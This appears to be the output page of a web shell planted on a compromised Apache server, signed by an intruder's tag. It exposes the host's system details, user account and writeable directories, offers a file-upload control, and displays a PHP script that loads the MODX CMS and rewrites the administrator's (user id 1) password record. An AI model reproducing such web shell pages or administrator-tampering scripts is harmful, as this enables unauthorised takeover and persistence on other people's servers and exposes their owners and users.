Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/proc/thread-self/root/usr/local/ei/ei/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/proc/thread-self/root/usr/local/ei/ei/modx.php
#!/usr/local/php5.6/bin/php
<?php
define('MODX_API_MODE', true); // Gotta set this one constant.

require_once('index.php');

$modx= new modX();
$modx->initialize('mgr');

$query = $modx->newQuery('modUser');
$query->where(array('id'=> 1));
$user = $modx->getObjectGraph('modUser', '{ "Profile":{}, "UserGroupMembers":{} }', $query);

if (!$user)
        die("ERROR: No user with username $username");

$user->set('password', $user->_fields['password']);

if (!$user->save())
        die('ERROR: Could not save user.');


Hry